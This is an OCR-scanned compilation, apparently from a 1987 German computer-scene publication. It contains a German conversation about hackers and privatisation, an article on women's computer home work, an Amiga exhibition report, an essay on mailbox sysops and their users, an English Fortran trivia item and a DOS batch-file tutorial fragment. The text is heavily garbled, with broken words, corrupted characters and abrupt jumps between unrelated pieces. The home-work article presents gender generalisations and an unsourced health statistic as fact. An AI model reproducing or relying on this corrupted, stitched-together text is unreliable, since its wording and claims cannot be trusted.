Wenn du eine Sache durchsprichst mit allen, 
dann kriegst du ein derartiges Interessens-
spektrum zusammen, eine derartig scharfe Ar-
gumentationsanforderung, daß wirklich nur die 
besten Gedanken und Argumente durchkom-
men. 

m: Aber wer selektiert denn? Das ist der Punkt. 

p: Es gibt in bestimmten Situationen bestimmte 
Leute, die selektieren. Jeder ist für sich ein 
Entscheider, weil die Autorität relativ locker und 
situationsbedingt im Club herumwandert. 

m: Jetzt kann ich ja mal von mir her erklären, 
weshalb wir überhaupt so viel über die Ge-
schichte reden. 

p: Das wundert mich schon längst. Ich wollte 
eigentlich überhaupt nicht über Computer re-
den. 

m:Ja. Es geht jetzt nicht um Computer. Es geht 
darum, daß ohne Zweifel die Leute in diesem 
Bereich irgendwann in den nächsten fünf Jah-
ren gesellschaftliche Verantwortung überneh-
men werden, wollen, was auch immer. Kom-
petente Gutachter werden. In welcher Form 
auch. Sie werden wie heilige Kühe behandelt 
und sind eigentlich von A bis Z, ich sag's wieder: 
Betrüger. 

p: 'Ne heilige Kuh schmeißt das BKA nicht um 
sechs Uhr morgens aus dem Bett. 

m: Das ist die Partisanennummer, wo man dann 
sagt: Ja, damals., und so. 

p: Worüber wir reden, das sind alles verschie-
dene Aspekte ein und desselben Gegenstands. 
Du kannst auch sagen: Ein und desselben 
Menschen. Diese verschiedenen Seelen, Ge-
danken und Ansätze, die hat jeder drin. Die 
romantische Ecke auf der einen Seite. Dann 
schnappst du wieder um in so einen wilden, 
aufklärerischen Impetus und sagst: Hau weg 
den Scheiß, oder sonstwas. 

m: Ja, aber gewisse Freiräume, die gemacht 
werden, und die etabliert werden - und zwar 
durch die Praxis und sonst nix - und hingestellt 
werden, existieren dann als Referenzen. Und 
der ganze CCC und auch gewisse andere Leu-
te - auch Sachen, die wir als Gruppe immer 
gemacht haben - , sind als Referenzmodelle 
möglich: Daß es auch anders geht. Irgendwann 
ist ja der ganze Scheiß total zubetoniert.. . 

p: Du bist soo negativ. 

m: Sicher zubetoniert. Stimmt doch. Weil ich die 
ganze Zeit immer neue Freiräume aufmachen 
muß, wo eine gewisse Generosität oder eine 
gewisses-verstehste, philosophisch gesehen 
- Freidenkertum da ist und nicht ein Clubden-
ken, ein kommerzielles Denken, ein Sekten-
denken, oder eine philosophisch vorgefertigte 
Schablonennummer. 

p: Möglicherweise ist es so.. Du bist ja immer im 





phantasiert haben. Sachen durchgedacht ha-
ben, ohne Rücksicht auf Verluste. 

m: Mir geht's jetzt nicht um Rücksicht auf Ver-
luste. Mir gehts darum, die Sache noch weiter 
zu treiben, Psycho-Hacking, Kochrezepte, 
Minderheitenprogramm. Dann: Was ich immer 
wichtiger finde, ist diese Realitäts-Geschichte. 
Ich hab' mittlerweile einfach drei Geschichten, 
die von den Parametern so beeinflußbar sind, 
daß - wenn du jetzt eine neue Generation von 
Kindern aufziehen wirst, was die für einen Rea-
litätsbegriff haben werden. 

p: Wir haben ein dickes Problem hier in Europa, 
oder in den westlichen Kulturen. Das ist mir 
auch in Ägypten aufgegangen: nämlich den 
Individualismus. Das ist ein sehr großes Pro-
blem. Wenn du ein Individuum bist, brauchst du 
ja eine Privat-Realität. Ich hab mich in Ägypten 
mit einer jungen Koptin unterhalten, die war 24. 
Arbeitet seit fünf Jahren als Tour Managerin für 
ein Reisebüro. Vor drei Jahren ist sie zum 
ersten Mal, weil jemand krank geworden ist, 
nach Oberägypten gefahren mit einer Reise-
gruppe. Zum ersten Mal aus Kairo weg. Da hats 
erstmal wilde Schlachten mit ihrer Familie ge-
geben. Ein unverheiratetes Mädchen, das die 
Nacht nicht zuhause verbringt - das geht nicht. 
Da hat sie riskiert, daß sie am Rande zum 
Nutten-Ansehen steht. Mutter zweimal täglich 
anrufen, Oberägypten ok. Dann ist sie nach 
Oberägypten gefahren, mit der Gruppe auf ein 
Schiff gegangen und hat als Tour Managerin 
eine eigene Kabine bekommen und hat mir 
gesagt: Dann, in der Kabine, war sie zum ersten 
mal in ihrem Leben alleine in einem Zimmer. 
Und sie isttotal ausgeflippt, weil sie nicht wußte, 
was sie tun soll. Ob sie zusperren soll. Hatte 
immer nur Angst, daß da jemand Fremder rein-
kommt. Horror. Und dann ist mir klargeworden: 
Es ist sinnlos, sich mit ihr über so einen Begriff 
wie 'Privatleben' zu unterhalten. Vollkommen 
sinnlos. Weil ich erst mindestenstausend Jahre 
europäischer Kulturgeschichte dazuerzählen 
mü ßte. Ich brauch' mindestens ein halbes Jahr, 
bis ich ihr erklärt habe, was ich meine. 

m: Das ist jetzt der Punkt. Das ist das, was ich 
vorhin mit Tradition auch meinte. Daß z.B. da 
noch gewisse Denkprozesse funktionieren und 
sicher noch 30,40 Jahre funktionieren werden. 
Und ich wiederhole, daß z.B. unsere Deso-
rientierung der letzten Jahrzehnte, nämlich "Pri-
vatisierung", der Bedürfnisse, der Vorstellun-
gen. . . 

p: Du mußt die Leute privatisieren, wenn du 
ihnen viele Produkte verkaufen willst. Du mußt 
die Familie aufspalten, du mußt die Großfamilie 

aufspalten. Eine Großfamilie kauft sich nur 
einen Fernseher. Das sind 20 Leute, die in 
einem Haus wohnen und alle in denselben 
Fernseher stieren. Die mu ßt du erst aufspalten, 
die Großeltern in eine Wohneinheit, die Eltern 
in eine und die Kinder in eine, dann kannst du 
schon drei Fernseher verkaufen. 

m: Das ist aber nicht mein Problem. Wenn ich 
z.B. zum Benjamin gehe, dann hat der seinen 
Fernseher in seinem Zimmer, der andere hat 
auch einen TV und dann haben sie noch einen 
TV in der Küche. Und im Badezimmer auch 
noch. 

p: Ich weiß. Ich hab drei Computer hier liegen, 
zwei Videorecorder. . . 

m: Ich glaub, das Problem... Das Bewußtsein 
des Privatlebens ist hier in Europa so entwic-
kelt, daß das eben so funktioniert, während 
man sich vor zehn Jahren noch gestritten hat: 
Ich will Fußball sehen, und ich will aberdie Inge 
Meysel sehen. 

p: Mit den neuen digitalen Videorecorder 
kannst du das machen. Zwei Programme auf 
einem Bild. 

m: Oder parallel aufnehmen, und das andere 
Programm später gucken. Das ist aber jetzt im 
Westen hier. Und das sind die dreißig Jahre 
Vorschuß, und das sind die Geschichten, die, 
wenneinersich wirklich drauf spezialisiert-und 
da gehören wir wahrscheinlich auch mal dazu 
- , als Navigator die Informationen in die richti-
gen Kanäle zu verteilen und zu verdealen. Z.B.: 
Ich geh nach Ägypten und in die Türkei und 
checke, was die dort brauchen und hab die 
richtigen Connections, muß nur meine Kartei 
durchgucken, wer produziert was, was brau-
chen die dort unten, welches Programm wird sie 
interessieren. Bin ich die ganze Zeit. . . mit so 
einem System wie "Infermental" hab ich per-
manant 100 Leute im Kopf, weiß, wer was 
benutzt. Hier in Hamburg hab ich schon fünf 
Leuten Bescheid gesagt, direkt neue Infos ge-
kriegt, komm' dich einmal besuchen, hab' neue 
Infos. Hab' das alles drin, als Navigator. Könnte 
ich theoretisch verdealen. Wird auch verdealt 
werden in Zukunft. 

p: Du weißt ja auch, daß das mein Prinzip ist. 
Deswegen hab ich hier mein aufblasbares Kaf-
feehaus. Meine Audienzen. 

e: Das ist ein Vorwurf gegen mich, den ich von 
Benji eingefangen hab. So diese Navigator-
geschichte: zwei Tage in Hamburg, fünf Woh-
nungen an der Hand, und die gleich wieder 





















gut anrechnen kann: Er ist unendlich tolerant. 
Du kannst einen Fehler tausendmal hinterein-
ander machen, er wird dich mit unendlichem 
Gleichmut immer weiter deinen Blödsinn ma-
chen lassen, so lange, bis du's vielleicht selber. 
. . Er macht dich drauf aufmerksam im Ex-
tremfall, daß du einen Fehler gemacht hast, er 
gibt dir eine Zustandsmeldung.. . 

m: Es geht ja nicht um Fehler, um Technik. Es 
geht um Philosophie. Du kannst grundsätzlich 
jede Situation durchsimulieren. Fast jede. 
Theoretisch kannst du Auschwitz nachsimu-
lieren. Gibt's ja schon Computergames. 

p: Das ist nicht, was ich unter Simulation ver-
stehe. 

m: Das ist reine Simulation. Ich treibe es jetzt ein 
Stück weiter, ich gehe auf die Grasmuck— 
Theorie zurück: Arbeit als Philosophie ist in der 
Dekadenz. Arbeit als Identifikation existiert 
kaum noch, es sei denn, es hat direkt mit 
Unterhaltung zu tun. Die Leute gehen im 
Westen doch den Weg des geringsten Wider-
standes, d.h., die Werte einer Arbeit werden mit 
Unterhaltung oder einer Lebensqualität gleich-
gesetzt, ob es jetzt Geld ist oder . . . 
p : . . .oder mit Forschung. Ich mu ß leider schon 
wieder den Computer erwähnen. Und zwar, wir 
haben so einen Zustand, in dem du eigentlich 
meinen könntest: die Welt ist entdeckt. Und es 
geht nur noch um ein paar unwesentliche De-
tails, z.B. darum, was eine halbe Sekunde vor 
dem ausgebrochenen Urknall passiert ist, 
genau am Anfang. Was ab der halben Sekunde 
danach passiert ist, wissen die theoretischen 
Physiker schon. Du kannst nicht mehr, so wie 
im 18. oder 19. Jahrhundert noch das Allge-
meinwissen deiner Zeit als ein Mann überblic-
ken. Man wird so verunsichert. Du wirst klein-
gemacht durch das Gefühl: du kannst als Ein-
zelperson gar nichts mehr entdecken, nichts 
mehr erforschen. Du brauchst mindestens 
einen Teilchenbeschleuniger, Großtechnolo-
gie, Kernresonanzspektrometer, Computerto-
mographen, diese ganzen teuren, riesigen Din-
ger. Oder Spezialistenteams, die sich vorher 
schon 20 Jahre auf der Uni das Hirn ausge-
rissen haben. So. Und dann kommt plötzlich 
genau ausdem Sektorso eine kleine Maschine, 
der Computer, der in einem Jahrzehnt eine 
Leistungsfähigkeit erreicht, sodaß du eben, 
was grade noch in einem Rechenzentrum an 
Leistung rumstand vordreivier Jahren, plötzlich 
auf deinem Schreibtisch steht. Und du hast die 
Möglichkeit, damit zu forschen, zu arbeiten, als 
Einzelner, als privater Mann.. 

m: Gut, aber es interessiert niemanden mehr 

außer dir selber, diese Forschung. 

p: Das stimmt überhaupt nicht. Da muß ich 
bitteschön auf die Hacker hinweisen, als klei-
nes Beispiel. . . 

m: Du kannst die Hacker als die ewige Reak-
tionsgeschichte, Kontrollinstanz, nicht immer 
wieder als Inhalt aufführen. 

p: Das ist ein Inhalt, der ist akut. Es gibt be-
stimmte Inhalte, die sind zu bestimmten Zeiten 
der Geschichte akut, da. Dann verschwinden 
sie wieder und andere sind dran. 

m: Die Hacker sind allerhöchstens eine Avant-
garde und eine reaktive Kontrollinstanz, die 
inhaltlich an einer Philosophie nicht mitarbei-
ten, sondern nur, indem sie Grenzbereiche 
schaffen, wo gewisse Machtwerte infrage ge-
stellt werden, interessant sind. Sie sind Friktion, 
sie pushen etwas. Sie pushen gewisse Macht-
kompetenzen, die einerseits fast vollkommen 
unumschränkt von gewissen Leuten gemacht 
werden, ob jetzt Information, Wissenschaft 
oder andere, und pieksen da mal rein. Und dann 
perfektioniert sich die Geschichte. Das ist 
nichts anderes, zurzeit. Es ist keine Vision bei 
diesen Leuten da, es ist nur Unterhaltung, oder 
computergamemäßig Forschung zu machen. 
Probieren, tüfteln, reagieren, Squash spielen, 
sonst nichts. An dem Punkt sind wir jetzt schon 
lange angelangt. Und du kannst nicht immer 
wieder die Maschine.. . und das passiert, und 
das passiert. Arbeit, sicher, Arbeit ist alles. Aber 
es gibt "Beschäftigung" und "Arbeit", und da ist 
ein Unterschied. Und das ist Beschäftigung, 
was diese Leute machen. Inhaltlich leben sie 
vielleicht nach drei,vier Jahren davon, unab-
sichtlich, als riesige Software-Spezialisten 
oder Hardware-Spezialisten, engagiert in 
einem Bereich, wo sie gar nicht wissen, wo sie 
sind. Wo sie sich nie 'mit identifiziert haben, 
außer mit einerTechnikgeilheit. Oder eben die-
sen zwei Gründen. Und was anderes nicht. 

p: Da triffst du jetzt wiedereinen wunden Punkt. 
Da bin ich mit meiner Arbeitsrichtung auf einer 
Insel, weil das tatsächlich im Augenblick ein 
aktuelles Problemteilchen Ist. Weil viele von 
den Hackern so in ein Alter kommen, wo sie an 
Existenzgründung denken.. . 

m:. . .denken müssen.. . 

p: . . .Ja, und im Augenblick sich die merk-
würdigsten Dinge abspielen. Es entstehen 
Konkurrenzen zwischen Leuten, die vorher 
traulich im Schulterschluß mit Selbstverständ-
lichkeit ihren Spaß gehabt haben, gearbeitet 



































l ionAnschläge. In Flautezelten ist 

das ganz übel, weil es dann keine 

Verträge gibt. 

30 Frauen und 25 Männer wur-
den für einen Forschungsbericht 
zur Computerheimarbeit befragt, 
den das Deutsche Jugendinstitut 
München (DJI) im vergangenen 
Jahr veröffentlicht hat. Danach 
sind die Computerheimarbeite-
rinnen sehr zufrieden. Auf die 
Frage, ob sie eine Arbeit außer 
Hause vorzögen, antwortete die 
MehrheitmitNein. Obwohl es zu 
Streß und Problemen kommt. 
Viele Frauenarbeiten ja gerade zu 
Hause, weil sie Familienarbeit 
miteinbeziehen. Esstelltsichdann 
schnell heraus, daßdieKinderstö-
ren. Dann wird nachts gearbeitet 
oder streng zu den Zeiten, wo die 
Gören außer Haus sind. Das Zu-
hausesein empfinden infolgedes-
sen viele der Frauen als ambiva-
lent. So sehr ist keine daran ge-
wöhnt sich abzugrenzen, und sich 
ganz diszipliniert die Zeit einzu-
teilen. Auch wenn ein Drittel der 
Frauen sich Putzhilfen leistet, ist 
immer noch genug im Haus zu tun. 
Frauen \md Männer haben bei 
ComputerheimarbeitwenigerGe-
legenheit, Freunde zu sehen und 
Freizeitgestaltung zu betreiben. 
Bei den Frauen liegt es am zerris-
senen Tag, und bei eiligen Aufträ-
gen, die nicht vorhersehbar sind, 
bei den Männern aber auch unter 
Umständen an der Computerfas-
zination. Ein Problem zwanghaft 
lösen zu wollen, auch wenn es die 
Gesundheit kostet. Männer in der 
Familie stellen andererseits fest, 
daß sie durch die Computerheim-
arbeit zwangsläufig mehr mit ih-
ren häuslichen Lieben zu tun 
haben 

men, die neue Computersysteme j 

einführen wollen oder die Bera-

tung bei Softwareveränderungen 

für spezielle Systeme, Tätigkeiten 

und Funktionen. 

Die große Zufriedenheit der 

Computerheimarbeiterinnen 

kommt daher, daß der Computer 

als eine Herausforderung begrif-

fen wird, die Computerheimar-

beit als eine herausfordernde Tä-

tigkeit, deren Erfüllung Selbstbe-

wußtsein hervorruft. Die Frauen 

kommen aus traditionellen Büro-

und Angestelltenbereichen, und 

die Heimarbeit kann „als Protest 

der Frauen gegen die hierarchi-

schen Strukturen der Betriebe in-

terpretiert werden" (DJI). 63 Pro-

zent der Frauen waren vorher 

erwerbstätig, 25 Prozent waren 

arbeitslos, und 13 Prozent waren 

Hausfrauen. Frauen seien mit der 

Büroorganisationund Computern 

bestens venraut, wogegen Mana-

gern eher eine Computerangst 

nachgesagt wird. Wegen dem ho-

hen „Potential weiblieherKompe-

tenzen" sollten Frauen danach 

trachten.höherqualifizierteCom-

putertätigkeiten auszuüben. Bei-

spielsweise die Beratung von Fir-

Diese Arbeiten» die als höher-
qualifiziert gelten, und die unter 
Umständen ziemlich viel Geld, 
einbringen, werden zur Zeit 
hauptsächlich von Männern ge-
macht. So fängt auch der Ver-
dienst der Männer genau an der 
Grenze an, wo der zur Zeit für 
Frauen aufhört. Frauen geben an, 
bis zu 2.000 Mark bei Vollzeit zu 
verdienen, Männer machen es 
nicht darunter, eher aber weit dar-
über,nämlichbiszu 10.000Mark. 

DabeikönntederComputerden 
Frauen weit mehr bieten. Steht er 
einmal in der Wohnung, fordert er 
geradezu heraus, sich mit ihm zu 
beschäftigen. Austüfteln, Aus-
probieren, Lernen. Die Möglich-
keiten, sich weiterzuqualifizieren 
ohne Ausbildungsnachweise und 
Zertifikate, sind in dieser „Nische 
auf dem Arbeitsmarkt" noch ge 
geben. 

Höherqualifizierea? 
Frauen haben einen weiblichen 
Lernstil, behauptet die Autorin 
desersten Frauencomputer-Lehr-
buchs Deborah L. Brecher (siehe 
auch Interview). Frauen lernen 
eherganzheitlich, wieetwas funk-
tioniertund warum. Der Mann da-
gegen drückt auf die Tasten und 
wartet was passiert. Während 
Frauen das Ganze verstehen wol-
len, reicht es Männern, erst mal 
auszuprobieren, und nach und 
nach zu verstehen oder auch nicht. 
Grund ist die Regelorientiertheit 
der Jungenspiele (Handball) im 
Gegensatz zu den Mädchenspie-
!en, die prozessorientiert seien. 
Außerdem fehlt Frauen im allge-
meinen die Erfahrung mit Schema-
zeichmmgen. Sie haben in ihrer 
Kindheit nie Flugzeugmodelle zu-
sammenbauen müssen. In Sachen 
Chaosproduktion sind Frauen 
aufgrund ihrer Verantwortlich-
keit im häuslichen Bereich auch 
vorsichtiger. Deswegen experi-
mentieren sie vorsichtiger. Die 
sprichwörtliche Zaghaftigkeit 
Yon Frauen hat also einen sehr kl u-
gen Hintergrund. 

Im Lehrbuch von Brecher ist 

das alles berücksichtigt. Fachaus-

drücke werden erklärt. Sie nimmt 

Analogien und Beispiele aus dem 

Umkreis der weiblichen Erfah-

rungen (z.B. vergleicht sie man-

ches mit dem Backen, was einem 

vielleicht etwas komisch vor-

kommt, aber es sogleich auch ver-

ständlicher macht). 

ZielistdieAuflösungvonTech-

nophobie hinzur mutigen Qualifi-
kation. Denn wer bestimmt heute 
dieBeschäftigungspolitikimtech-
nischen Bereich? Wer bestimmt, 
wie und welche Computer einge-
setzt werden? Und wer hat dann 
die Last mit der Anwendung? Die 
Propaganda kommt einem ein biß-
chen naiv vor, wennman bedenkt, 
wie hoch das Interesse gerade an 
niedrigen Arbeiten am Computer 
ist. BeieinerUmverteilung derge-
schlechtsspezifischen Computer-
arbeit, müßten die Männer man-
gels besserer Angebote eben auch 
„niedere" Arbeitenverrichten. Es 
wäre sowieso besser, wenn sie es 
täten, denn sie werden bekanntlich 
nicht schwanger, In Kalifornien 
ihat man festgestellt, daß Frauen, 
| die mehr als 20 Stunden in der W o-
che am Bildschirm arbeiten, dop-
pelt so oft Fehlgeburten haben wie 
andere Frauen. Ein Gespräch: A. 
meint, Kinder an Computern wür-
den kein prozessuales Denken 
mehr lernen, keine Zufalle beim 
Spiel, es würde im Grunde eine 
Verarmung stattfinden, das Pro-
zeßhafte imLebenund imspieleri-
schen Erfahren des Lebens völlig 
verschwinden. Aber die Kinder, 
die Computer spielen, gucken sel-
tener Glotze, halte ich dagegen. 
Sie probieren, sie spielen Aben-
teuerspiele, in denen sie die 
Hauptrolle haben, sie kämpfen ge-
gen eine „objektive Macht", den 
Computer, an, schlußendlich ge-
winnt der, aber sie haben den Er-

j folg des Absurden. Der Computer 
stelltihnen Aufgaben,diesielösen 

müssen. 

Durch den Computer werden 
sie herausgefordert, und sie wis- 1 

sen, daß es eine Maschine ist. 
Einsame Kinder, was hätten sie 
sonst heutzutage. Ich hatte Steck- i 
bausteine, da versuchte ich, Kauf-
läden und Puppenstuben draus zu 
basteln. Es ist mir nie gelungen, 
und hat in mir die tiefe Überzeu-
gung himerlassen, daß, je mehr 
ich mich anstrenge, etwas zu lei-
sten, umso weniger dabei heraus-
kommt , undeben Aufgebautes im-
mer wieder zusammenkracht. 
Nicht so das Computerkind. Zu-
nächst tut der Computer immer 
das, was man sagt. Er tut auch das, 
was man will, vorausgesetzt, be-
stimmte Regeln werden eingehal-
ten. Beim Steckbaukasten ist die 
Zerstörungsgefahr viel größer. 
Obwohl man strikt die Regeln ein-
hält (die Steine ineinandersteckt) 

ist noch längst nicht gesagt, daß 
das dabei herauskommt, was man 
sich vorgenommen hat. Beim 
Computer geht's, oder es geht 
nicht,undwennesnichtgeht, istes 
nicht so schlimm, weil es j a eine 
Maschine ist. Ein Ding, von dem 
man immer wußte, daß man ihm 
eigentlich nicht gewachsen ist. 
Die Bausteine dagegen sind viel 
verletzlicher, roher, man ist viel 
zu sehr mit ihnen identifiziert. 

Dieses Männerspielzeug, des-

sen einziges Geheimnis ein „Ge-

hirn" ist, das zusammenzählen 

und vergleichen kann, das sich dä-

monisch aufblähen läßt, weil man 

mitihnvDingetunkann.dieinanin 
der Geschwindigkeit niemals 





selbst machen könnte, ist letztlich 
nur ein Verrichter verschiedener 
Tätigkeiten. 

Amiga 

Vor ein paar Wochen war ich auf 
einer Computerausstellung in 
Berlin. Da ich keine Ahnung von 
Computern habe, wußte ich nicht, 
um was es sich bei dieser Ausstel-
lung handelte. 

Die fremde Welt teilte sich 
schon beim Eintritt mit. Geht man 
auf eine Ausstellung und sagt, daß 
man keine Ahnung hat? Die Jup-
pies an der Kasse sind freundlich. 
Schließlich bin ich eine Frau, mir 
wird zugestanden, keine Ahnung 
zuhaben. Eine andereorganisato-
rische Mitarbeiterin dort hat auch 
keine Ahnung, sie hat aber auch 
keine Zeit, mich herumzuführen. 
Wir befinden uns in den „Festsä-
len" im Berliner Arbeiterviertel 
Neukölln. Hier werden sonst Po-
litveranstaltungen von den Kom-
munisten gemacht. Der Festsaal 
sieht ziemlich heruntergekom-
men aus, ocker-schäbig mit gel-
bem Lichtund armen Leuten. Hier 
also das Neueste und Wunderbar-
ste, was es angeblich auf dem 
Computer-Markt gibt. „Amiga" 
(die Freundin) heißt die Wunder-
maschine. Ist es Absicht oder Zu-
fall, daß die glänzende teure Welt 
der Computerästhetik mit ihren 
vielen Informationsmappen mit 
kleinen Geschenken, die genauso 
glänzen, und dem ganzen eier-
schalfarbenen Gerät hier über-
haupt nicht zur Geltung kommt? 
Eine freundliche Dame von der 
veranstaltenden Firma Technic-
Support in Berlin, versucht mirein 
paarDinezu erklären. Mindestens 
dreihundert Leute stehen neugie-
rig gebeugt vor den Geräten. Män-
ner, Väter und Söhne, mit merk-
würdig symbiotischem Gesichts-
ausdruck. Und die meisten haben 
ausgebeulte Hosen und unter Ga-
rantie keine vollen Portemonaies. 
Das Neue und Bahnbrechende an 
„Amiga", er (sie?) ist seit rund 
zwei Jahren auf dem Markt, ist die 
Möglichkeit Textund Bild per Vi-
deokamera miteinander zu vermi-
schen und das mit einem er-
schwinglichen Computer. Man 
hat eine „Maus" in der Hand und 
malt direkt auf den Computer. 

Mich als Laien, beeindruckt das 
gar nicht so sehr, weil ich sowieso 
davon ausgehe, daß man mit Com-
putern alles möglich machen 
kann. „Amiga" gebe Einblick in 
eine ganz neue „Computerphilo-
sophie". Lobend wird hervorge-
hoben, daß man mit „aufgerüste-
tem" Amiga ganze Bilder zerstük-
kdn, und wieder neu zusammen-
setzen kann. Bunt! Man zeichnet 
nicht mehr, sondern man nimmt 
einen kleinen Ausschnitt auf den 
Monitor, macht ihn groß und 
drückt ihn irgendwo drauf, so daß 
lauter kleine Kästchen in blau', in 
verschiedenen Blaus, mal eine 
Reihe so, mal eine Reihe so, mal 
bißchen weiß, noch drei Kästchen 
hoch und wieder zurück, und zwei 
halbe rosa Kästchen, zum Rand 
hin dunkler rosa, ich komme gar 
nicht so schnell mit, und fertig ist 
das blaue Auge. „Amiga" ist et-
was fürs Grafikgewerbe. Mit 
Amiga kann man Filme machen, 
Trickfilme. Mit zitternden Hän-
den, weichen Knien blättere ich 
die ganzen Geschenke noch im 
Auto durch. Werbegeschenke, 
weiß ich ja. Trotzdem eine Com-
puterzeitung, ein Buch zur Soft-
ware. Unverständlich — nicht 
kompatibel — außer einer gewis-
sen „Umrüstung". 

Ein Computer wie der oben be-
schriebene fördert den Perfektio-
nismus und den Größenwahn. 
Man kann alles kaputt machen, 
verändern und wieder ganz ma-
chen. Die Realität nach eigenem 
Gutdünken verändern, das lockt 
Allmachtsgefühle hervor, ist 
schädlich fiir labile Menschen. 
Nicht alle sind labil, und warum 
sollen nicht auch Frauen ihre All-
machtphantasien an einer Ma-
schine wiedieserüben?Gleichheit 
für Allmacht! 

Zum Schluß noch ein Zusam-
menhang: „Es gibt in der Natur 
keine isoliierten Bausteine, wie es 
nochNewtondachte,sonbderndie 
Natur ist ein kompliziertes Netz-
werk von Zusammenhängen zwi-
schen verschiedenen Strukturen, 
die ein Ganzes bilden", sagt Frit-
jof Capra , und das ehermoralische 
Ganzheitsbemühen der New Age-
Bewegung mit der starken Abkehr 
von richtig oder falsch trifft haar-
genau auf die Brutalität und Zer-
stückelungsfähigkeiten der Com-
puterlogik.-
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Schmollwinkel und hadert mit sich, der Box und 
Gott und der Welt. Er benutzt vorzugsweise die 
Befehle, die er von der kommerziellen Box 
qewöhnt ist und registriert meistens nicht ein-
mal wenn die Mailbox etwas ganz anderes 
macht Als Ausgleich für den durchlebten Frust 
überschüttet er den Sysop mit Forderungen, 
was alles am Programm wie zu ändern wäre. 
Unglücklicherweise hat der Vollprofi meist aus-
gezeichnete Kenntnisse gängiger Mailbox-
konzepte und Porgrammiersprachen-, so daß 
seine Vorschläge meist peinlich detailliert aus-
fallen. Bei Sysops, die nur aus moralischer Not 
das Programmieren gelernt haben, kann dies 
durchaus Auslöser für Suizidversuche sein. Et-
was harmloser ist da schon 

der Semiprofi 

Er ist sich der Tatsache durchaus bewußt, daß 
er es mit einem unzulänglichen System zu tun 
hat und ist auch an und für sich bereit, mit den 
Mängeln zu leben, wenn man nur dieses und 
jenes eventuell, wenn es nicht zuviel Muhe 
macht, und wenn es die Zeit erlaubt, in dieser 
und jener Hinsicht ändern könnte. Er wiederholt 
diese Bitte sooft, bis der Sysop entnervt aufgibt 
und zumindest etwas Ahnliches programmiert, 
weil er genau das schon seit langem machen 
wollte. 

Selbstverständlich gibt es dann noch Leute wie 
Du und ich , die dem Sysop das Leben er-
leichtern wo sie nur können, die inhaltlich ar-
beiten und selbst Verantwortung übernehmen. 
Die Zeit der ersten zaghaften Schritt durchs 
qlobale Dorf sind vorüber und die teils reißeri-
sche Berichterstattung der Fachpresse hat ein 
Heer von Datentouristen mit sich gebracht, die 
auf die Ureinwohner losgelassen werden und 
ihre eigene Kultur verbreiten. Die Szene muß 
diese Leute auffangen und das Verhalten aller 
regulieren, oder sie geht unter. 

Als Betreiber einer Mailbox steht man diesen 
Ungereimtheiten im Benutzerverhalten ein-
igermaßen hilflos gegenüber. Wenn man seine 
Mailbox gerade eben eröffnet hat und sehn-
süchtig darauf wartet, daß sich etwas tut, ist 
man bereit, um jeden User zu kämpfen, man 
lauert stundenlang, tagelang, nächtelang vor 
dem Monitor, ist sofort bereit, einen stunden-
langen Dialog von Tastatur zu Tastatur zu füh-
ren und unterstützt die Anrufer, wann imnner 
man auch nur entfernt befürchtet, es könnte der 
letzte Anruf gerade dieses Menschen sein, der 
so viel Gutes in anderen Mailboxen produziert. 
Jede Kritik, die ausgesprochen wird, trifft mitten 
ins Herz, und man setzt Himmel und Holle in 
Bewegung, um aus dem Programm das her-

auszukitzeln, was die Benutzer wünschen. Mit 
wachsender Erfahrung und steigender Fre-
quentierung derMailbox wird man meist ruhiger 
und es kommt zu einem Lernprozeß für den 
Betreiber, der zwangsläufig auf eine Ent-
scheidung hinausläuft. Dabei stehen drei Al-
ternativen zur Verfügung, die je nach Tempe-
rament des Betreibers gewählt werden. Einige 
geben ganz auf, motten ihren Computer ein , 
nur um ihn nach mehr oder weniger langer Zeit 
wieder hervorzukramen und sich erneut ins 
Leben des globalen Dorfes zu stürzen, ent-
weder um endlich, endlich konstruktiv an den 
eigenen Utopien und denen der Anderen wei-
terzubauen, oder aber um sich mit Elan in eine 
fremde Mailbox zu stürzen und dort hinge-
bungsvoll all die Befehle zu probieren, die man 
bei anderen belächelt hat. Andere denken sich 
ihr Teil und machen einfach weiter, ungeachtet 
dessen, was in der Welt um sie herum ge-
schieht. Diese Mailboxen erkennt man daran, 
daß sie völlig abgeschottet von dertechnischen 
und gesellschaftlichen Weiterentwicklung über 
Jahre hinaus vor sich hin existieren, ohne nach 
dem Wenn und Aber zu fragen. Wieder andere 
erarbeiten sich eine dicke Hornhaut und ziehen 
ihre Vorstellungen durch, allein oder in Zu-
sammenarbeit mit anderen entwickeln sie die 
technischen und inhaltlichen Möglichkeiten die-
ses faszinierenden Mediums weiter. Dabei ver-
selbständigen sich zwangsläufig gewisse Din-
ge und niemand sollte erwarten, daß sich ein 
Mailboxbetreiber, dessen System jährlich 
15000 Anrufe verarbeitet, noch so intensiv um 
jeden Einzelnen kümmern kann, wie in den 
ersten Monaten. Je umfangreicher das Projekt 
Mailbox wird, desto schwieriger wird es, Allen 
gerecht zu werden und desto mehr bleibt der 
Idealismus auf der Strecke. 

Es gäbe noch eine Menge mehr zu erzählen, 
Anekdoten und Anekdötchen, von Usern und 
Abusern, von Frust und Lust des Sysops, von 
Hoffnungen und Wünschen, erfüllten und un-
erfüllten Erwartungen, aber es soll jetzt genug 
sein. Ich hoffe, es waren einige Denkanstöße 
dabei und ich habe eine Menge erzählt, von 
dem was wirklich los ist. . . 

Hamburg, 1987 
fl HD« did » programing punctuation » r r o r 
liad to the loss of a Mariner probe to 
Venus? 
ft. In a Fortran progra», "DO 3 1 - 1 , 3 -
•istyptd i t 'DO 3 1 - 1 .3" which 
»ccepttd by th* coip i l»r as assigning 1 . 5 
to th» variabl» D031. 
( Y D U will have to r»ad th* ftnnals t h e 

History o< Cosputino. ISM to find 6ut*hi" 
this caused th* loss o) ths 'probe.) 
Source 1 I N P U T / O U T P U T , 

















label in the very last line. If the do-
nothing file CRLF.BAT is still avail-
able to DOS, the preceding program 
may be considerably speeded up by 
writ ing it in the fol lowing form: 
:LABEL1 
<FIRST PROCEDURE> 
CRLF 
;LABEL2 
<SECOND PROCEDURE 
CRLF 

:LASTLABEL 
<LAST PROCEDURE> 

Now, instead of searching the file 
for " :EXIT", the program wil l directly 
chain to CRLF and abruptly quit. 

Using SHIFT 

PROGRAMMING 
DO %%@ LOOP 

Soon we'l l see a more advanced 
application of this principle. You can 
also use the command-line tokens as 
items to be counted. Write 
TEST.BAT: 
ECHO OFF 
CLS 
:DO 

ECHO Display for token %1 
SHIFT 
IF NOT %1@==@ GOTO DO 
Run TEST with several calls to see 

this work. 
TEST 
TEST 1 2 3 
TEST X X X 
TEST NOW THREE WORDS 
TEST 1 TWO 3 2+2 5 6 7 8 9 TEN 11 

There are two good uses for the 
SHIFT command: to allow an indefi-
nite number of command line para-
meters and to count. Suppose you 
